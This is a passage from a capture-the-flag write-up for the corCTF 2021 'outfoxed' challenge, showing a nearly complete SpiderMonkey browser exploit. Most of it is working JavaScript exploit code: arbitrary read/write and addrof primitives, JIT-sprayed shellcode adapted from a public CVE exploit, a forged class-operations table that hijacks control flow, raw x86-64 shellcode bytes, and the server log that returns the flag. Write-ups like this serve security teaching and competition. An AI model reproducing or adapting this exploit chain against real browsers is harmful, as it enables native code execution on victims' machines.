target.someprop = i2d(shellcode_addr);```
Now all that we have to do is to get the JIT to compile our code and find it inmemory. The first part is easy, simply put it in a function and call it many timesin a loop until the JIT decides that the function is hot and compiles it:
```jsfunction jitme () {    // ...}
for (let i = 0; i < 100000; i++) {    jitme();}```
The second part is a bit more tricky. JavaScript functions are represented by aJSFunction, and we can find the region containing the compiled code for thatfunction by following pointers, like this (pointers to executable memory arehighlighted in red):
![](https://org.anize.rs/corCTF-2021/pwn/outfoxed1.png)
We can get the address of the function by storing it into our TypedArray with`oob` and then reading the address back, then follow the pointers until thecode pointer. However the code pointer doesn't exactly point to the beginningof the function, but rather to some other place in the same page. The author ofthe writeup that I got the shellcode from solves this by embedding a magicnumber in the shellcode and then searching for it using the arbitrary read/write.We'll do the same.
```js// Read size bytes from addrfunction read(addr, size) {    assert(size % 8n === 0n);    let ret = new BigUint64Array(Number(size) / 8);    for (let i = 0n; i < size / 8n; i++) {        ret[i] = read64(addr + i * 8n)    }    return new Uint8Array(ret.buffer);}
const addrof_jitme = addrof(jitme);const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n;print(`addrof(jitme) = ${hex(addrof_jitme)}`);print(`code page at = ${hex(codepage_addr)}`);
const code = read(codepage_addr, 0x1000n);
let stage1_offset = -1;for (let i = 0; i < 0x1000 - 8; i++) {    if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37        && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13        && code[i + 6] == 0x37 && code[i + 7] == 0x13) {        stage1_offset = i + 14;        break;    }}
assert(stage1_offset !== -1);const stage1_addr = BigInt(stage1_offset) + codepage_addr;print(`stage1_addr = ${hex(stage1_addr)}`);```
That's basically it, not we just have to put it all together
```jslet converter = new ArrayBuffer(8);let u64view = new BigUint64Array(converter);let f64view = new Float64Array(converter);
// Bit-cast an uint64_t to a float64function i2d(x) {    u64view[0] = x;    return f64view[0];}
// Bit-cast a float64 to an uint64_tfunction d2i(x) {    f64view[0] = x;    return u64view[0];}
function print(x) {    console.log(x);}
function hex(x) {    return `0x${x.toString(16)}`;}
function assert(x, msg) {    if (!x) {        throw new Error(msg);    }}
// https://github.com/vigneshsrao/CVE-2019-11707/blob/master/exploit.js#L196// mprotects the shellcode whose address is in [rcx] as rwx and jumps to itfunction jitme () {    const magic = 4.183559446463817e-216;
    const g1 = 1.4501798452584495e-277;    const g2 = 1.4499730218924257e-277;    const g3 = 1.4632559875735264e-277;    const g4 = 1.4364759325952765e-277;    const g5 = 1.450128571490163e-277;    const g6 = 1.4501798485024445e-277;    const g7 = 1.4345589835166586e-277;    const g8 = 1.616527814e-314;}
function pwn() {    let a = new Array(1,2,3,4,5,6);    let b = new BigUint64Array(1);
    // Read 64 bits from addr    function read64(addr) {        const olddata = a.oob(13);        a.oob(13, i2d(addr))        const ret = b[0];        a.oob(13, olddata);        return ret;    }
    // Write 64 bits to addr    function write64(addr, value) {        const olddata = a.oob(13);        a.oob(13, i2d(addr));        b[0] = value;        a.oob(13, olddata);    }
    // Read size bytes from addr    function read(addr, size) {        assert(size % 8n === 0n);        let ret = new BigUint64Array(Number(size) / 8);        for (let i = 0n; i < size / 8n; i++) {            ret[i] = read64(addr + i * 8n)        }        return new Uint8Array(ret.buffer);    }
    // Return the address of a JavaScript object    function addrof(x) {        a.oob(14, x);        return b[0] & 0xffffffffffffn;    }
    for (let i = 0; i < 100000; i++) {        jitme();    }
    const addrof_jitme = addrof(jitme);    const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n;    print(`addrof(jitme) = ${hex(addrof_jitme)}`);    print(`code page at = ${hex(codepage_addr)}`);
    const code = read(codepage_addr, 0x1000n);    let stage1_offset = -1;    for (let i = 0; i < 0x1000 - 8; i++) {        if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37            && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13            && code[i + 6] == 0x37 && code[i + 7] == 0x13) {            stage1_offset = i + 14;            break;        }    }
    assert(stage1_offset !== -1);    const stage1_addr = BigInt(stage1_offset) + codepage_addr;    print(`stage1_addr = ${hex(stage1_addr)}`);
    // execve('/reader')    const shellcode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x73, 0x64, 0x60, 0x65, 0x64, 0x73, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0xcc]);
    const addrof_shellcode = addrof(shellcode);    const shellcode_shape = read64(addrof_shellcode);    const shellcode_base_shape = read64(shellcode_shape);    const shellcode_class = read64(shellcode_base_shape);    const shellcode_ops = read64(shellcode_class + 0x10n);    const shellcode_data = read64(addrof_shellcode + 0x30n);    print(`addrof(shellcode) = ${hex(addrof_shellcode)}`);    print(`shellcode->shape = ${hex(shellcode_shape)}`);    print(`shellcode->shape->base_shape = ${hex(shellcode_base_shape)}`);    print(`shellcode->shape->base_shape->class = ${hex(shellcode_class)}`);    print(`shellcode->shape->base_shape->class->ops = ${hex(shellcode_ops)}`);    print(`shellcode->data = ${hex(shellcode_data)}`);
    const fake_class = new BigUint64Array(48);    const fake_class_buffer = read64(addrof(fake_class) + 0x30n);    for (let i = 0; i < 6; i++) {        fake_class[i] = read64(shellcode_class + BigInt(i) * 8n);    }
    const fake_ops = new BigUint64Array(88);    const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n);    for (let i = 0; i < 11; i++) {        fake_ops[i] = read64(shellcode_ops + BigInt(i) * 8n);    }
    fake_ops[0] = stage1_addr;    fake_class[2] = fake_ops_buffer;    write64(shellcode_base_shape, fake_class_buffer);
    shellcode.someprop = i2d(shellcode_data);}
try {    pwn();} catch (e) {    print(`Got exception: ${e}`);}```
```$ python3 upload.py[+] Opening connection to outfoxed.be.ax on port 37685: Done[*] Switching to interactive modeEnter exploit followed by EOF: [GFX1-]: glxtest: libpci missing[GFX1-]: glxtest: libGL.so.1 missing[GFX1-]: glxtest: libEGL missing[GFX1-]: No GPUs detected via PCI[GFX1-]: RenderCompositorSWGL failed mapping default framebuffer, no dtcorctf{just_4_b4by_f0x}[*] Interrupted[*] Closed connection to outfoxed.be.ax port 37685```
## Conclusion
In this challenge we exploited a bug in SpiderMonkey to gain arbitrary nativecode execution. I had never worked with Firefox before so this was a nice changefrom the usual Chrome challenges and at the same time it shows how similar thevarious JS engines are. Thanks to the author for writing this!